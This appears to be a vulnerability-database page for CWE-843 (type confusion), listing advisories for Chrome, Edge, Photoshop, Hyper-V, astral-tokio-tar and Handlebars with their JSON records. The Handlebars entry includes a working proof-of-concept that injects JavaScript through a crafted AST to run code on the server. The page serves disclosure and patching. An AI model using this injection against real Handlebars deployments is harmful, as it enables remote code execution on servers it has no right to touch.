Common Weakness Enumeration

CWE-843

Allowed

Access of Resource Using Incompatible Type ('Type Confusion')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

1041 vulnerabilities reference this CWE, most recent first.

GHSA-37WR-36RM-9M57

Vulnerability from github – Published: 2026-06-09 00:33 – Updated: 2026-06-09 03:31
VLAI
Details

Type Confusion in Bindings in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-11662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T00:16:49Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in Bindings in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-37wr-36rm-9m57",
  "modified": "2026-06-09T03:31:39Z",
  "published": "2026-06-09T00:33:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11662"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0153744567.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513773313"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-39F3-GGRP-RPH3

Vulnerability from github – Published: 2026-07-03 21:31 – Updated: 2026-07-03 21:31
VLAI
Details

Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-58289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-03T21:17:03Z",
    "severity": "CRITICAL"
  },
  "details": "Access of resource using incompatible type (\u0027type confusion\u0027) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.",
  "id": "GHSA-39f3-ggrp-rph3",
  "modified": "2026-07-03T21:31:40Z",
  "published": "2026-07-03T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58289"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-39W5-66PC-M28X

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54
VLAI
Details

Adobe Photoshop CC versions 19.1.8 and earlier and 20.0.5 and earlier have a type confusion vulnerability. Successful exploitation could lead to arbitrary code execution.

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{
  "affected": [],
  "aliases": [
    "CVE-2019-7975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-26T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Photoshop CC versions 19.1.8 and earlier and 20.0.5 and earlier have a type confusion vulnerability. Successful exploitation could lead to arbitrary code execution.",
  "id": "GHSA-39w5-66pc-m28x",
  "modified": "2022-05-24T16:54:49Z",
  "published": "2022-05-24T16:54:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7975"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/photoshop/apsb19-44.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3CV2-H65G-FGMM

Vulnerability from github – Published: 2026-05-29 19:08 – Updated: 2026-05-29 19:08
VLAI
Summary
astral-tokio-tar has a PAX Header Desynchronization issue
Details

Impact

Versions of astral-tokio-tar prior to 0.6.2 contain a PAX header interpretation bug that allows manipulated entries to be made selectively visible or invisible during extraction with astral-tokio-tar versus other tar implementations. An attacker could use this differential to smuggle unexpected files onto a victim's filesystem.

Details

When a tar stream contains multiple "header" entries prior to a file entry, astral-tokio-tar applies the PAX header (x) to the next entry in the stream, regardless of type. For example, a stream of x -> L -> file (PAX, GNU longname, file) would result in x's extensions being applied to L rather than to file.

Per POSIX pax, this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the "pax Header Block" section for the specific prescription there.

As a result of this, an attacker can contrive a tar containing a sequence of tar headers such that astral-tokio-tar applies the PAX header's size extension to the next header in sequence, effectively desynchronizing the stream and enabling astral-tokio-tar specific skippage/extraction of members. In other words, a file can be contrived to extract differently on astral-tokio-tar than on other tar parsers.

Patches

Versions 0.6.2 and newer of astral-tokio-tar address this differential.

Workarounds

Users are advised to upgrade to version 0.6.1 or newer to address this advisory.

There is no workaround other than upgrading. Users should experience no breaking changes as a result of the upgrade.

Resources

  • GHSA-j5gw-2vrg-8fgx is a similar PAX desynchronization bug
  • GHSA-fp55-jw48-c537 is another similar PAX desynchronization bug
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "astral-tokio-tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:08:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nVersions of astral-tokio-tar prior to 0.6.2 contain a PAX header interpretation bug that allows manipulated entries to be made selectively visible or invisible during extraction with astral-tokio-tar versus other tar implementations. An attacker could use this differential to smuggle unexpected files onto a victim\u0027s filesystem.\n\n### Details\n\nWhen a tar stream contains multiple \"header\" entries prior to a file entry, astral-tokio-tar applies the PAX header (`x`) to the next entry in the stream, regardless of type. For example, a stream of `x -\u003e L -\u003e file` (PAX, GNU longname, file) would result in `x`\u0027s extensions being applied to `L` rather than to `file`.\n\n[Per POSIX pax](https://pubs.opengroup.org/onlinepubs/9799919799/utilities/pax.html), this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the \"pax Header Block\" section for the specific prescription there.\n\nAs a result of this, an attacker can contrive a tar containing a sequence of tar headers such that astral-tokio-tar applies the PAX header\u0027s size extension to the next header in sequence, effectively desynchronizing the stream and enabling astral-tokio-tar specific skippage/extraction of members. In other words, a file can be contrived to extract differently on astral-tokio-tar than on other tar parsers.\n\n### Patches\n\nVersions 0.6.2 and newer of astral-tokio-tar address this differential.\n\n### Workarounds\n\nUsers are advised to upgrade to version 0.6.1 or newer to address this advisory.\n\nThere is no workaround other than upgrading. Users should experience no breaking changes as a result of the upgrade.\n\n### Resources\n\n- GHSA-j5gw-2vrg-8fgx is a similar PAX desynchronization bug\n- GHSA-fp55-jw48-c537 is another similar PAX desynchronization bug",
  "id": "GHSA-3cv2-h65g-fgmm",
  "modified": "2026-05-29T19:08:23Z",
  "published": "2026-05-29T19:08:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/astral-sh/tokio-tar/security/advisories/GHSA-3cv2-h65g-fgmm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/astral-sh/tokio-tar"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0145.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "astral-tokio-tar has a PAX Header Desynchronization issue"
}

GHSA-3G94-3H93-RRF8

Vulnerability from github – Published: 2024-06-11 21:32 – Updated: 2024-06-20 15:31
VLAI
Details

Inappropriate implementation in Downloads in Google Chrome prior to 126.0.6478.54 allowed a remote attacker to obfuscate security UI via a malicious file. (Chromium security severity: Medium)

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-5843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T21:15:55Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Downloads in Google Chrome prior to 126.0.6478.54 allowed a remote attacker to obfuscate security UI via a malicious file. (Chromium security severity: Medium)",
  "id": "GHSA-3g94-3h93-rrf8",
  "modified": "2024-06-20T15:31:12Z",
  "published": "2024-06-11T21:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5843"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/333940412"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7VXA32LXMNK3DSK3JBRLTBPFUH7LTODU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPU7AB53QQVNTBPGRMJRY5SXJNYWW3FX"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H9F-V388-6W84

Vulnerability from github – Published: 2024-11-19 21:31 – Updated: 2024-11-20 00:32
VLAI
Details

Type Confusion in V8 in Google Chrome prior to 131.0.6778.85 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-11395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-19T20:15:29Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in V8 in Google Chrome prior to 131.0.6778.85 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-3h9f-v388-6w84",
  "modified": "2024-11-20T00:32:14Z",
  "published": "2024-11-19T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11395"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/11/stable-channel-update-for-desktop_19.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/377384894"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HGM-7FQQ-M4FP

Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30
VLAI
Details

Out-of-bounds read in Windows Hyper-V allows an unauthorized attacker to execute code locally.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-45641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T17:17:31Z",
    "severity": "HIGH"
  },
  "details": "Out-of-bounds read in Windows Hyper-V allows an unauthorized attacker to execute code locally.",
  "id": "GHSA-3hgm-7fqq-m4fp",
  "modified": "2026-06-09T18:30:52Z",
  "published": "2026-06-09T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45641"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3JC5-3P2W-FF59

Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24
VLAI
Details

The Clipboard::DispatchObject function in app/clipboard/clipboard.cc in Google Chrome before 5.0.375.70 does not properly handle CBF_SMBITMAP objects in a ViewHostMsg_ClipboardWriteObjectsAsync message, which might allow remote attackers to execute arbitrary code via vectors involving crafted data from the renderer process, related to a "Type Confusion" issue.

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{
  "affected": [],
  "aliases": [
    "CVE-2010-2299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-15T18:00:00Z",
    "severity": "HIGH"
  },
  "details": "The Clipboard::DispatchObject function in app/clipboard/clipboard.cc in Google Chrome before 5.0.375.70 does not properly handle CBF_SMBITMAP objects in a ViewHostMsg_ClipboardWriteObjectsAsync message, which might allow remote attackers to execute arbitrary code via vectors involving crafted data from the renderer process, related to a \"Type Confusion\" issue.",
  "id": "GHSA-3jc5-3p2w-ff59",
  "modified": "2022-05-13T01:24:29Z",
  "published": "2022-05-13T01:24:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2299"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12099"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/chromium/issues/detail?id=43307"
    },
    {
      "type": "WEB",
      "url": "http://googlechromereleases.blogspot.com/2010/06/stable-channel-update.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/40072"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3M3G-56CX-59Q7

Vulnerability from github – Published: 2026-04-15 21:30 – Updated: 2026-04-15 21:30
VLAI
Details

Type Confusion in Turbofan in Google Chrome prior to 147.0.7727.101 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-15T20:16:39Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in Turbofan in Google Chrome prior to 147.0.7727.101 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-3m3g-56cx-59q7",
  "modified": "2026-04-15T21:30:19Z",
  "published": "2026-04-15T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6307"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_15.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497404188"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MFM-83XF-C92R

Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Details

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field \u2014 breaks out of generated function call\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.",
  "id": "GHSA-3mfm-83xf-c92r",
  "modified": "2026-03-27T21:52:26Z",
  "published": "2026-03-27T18:20:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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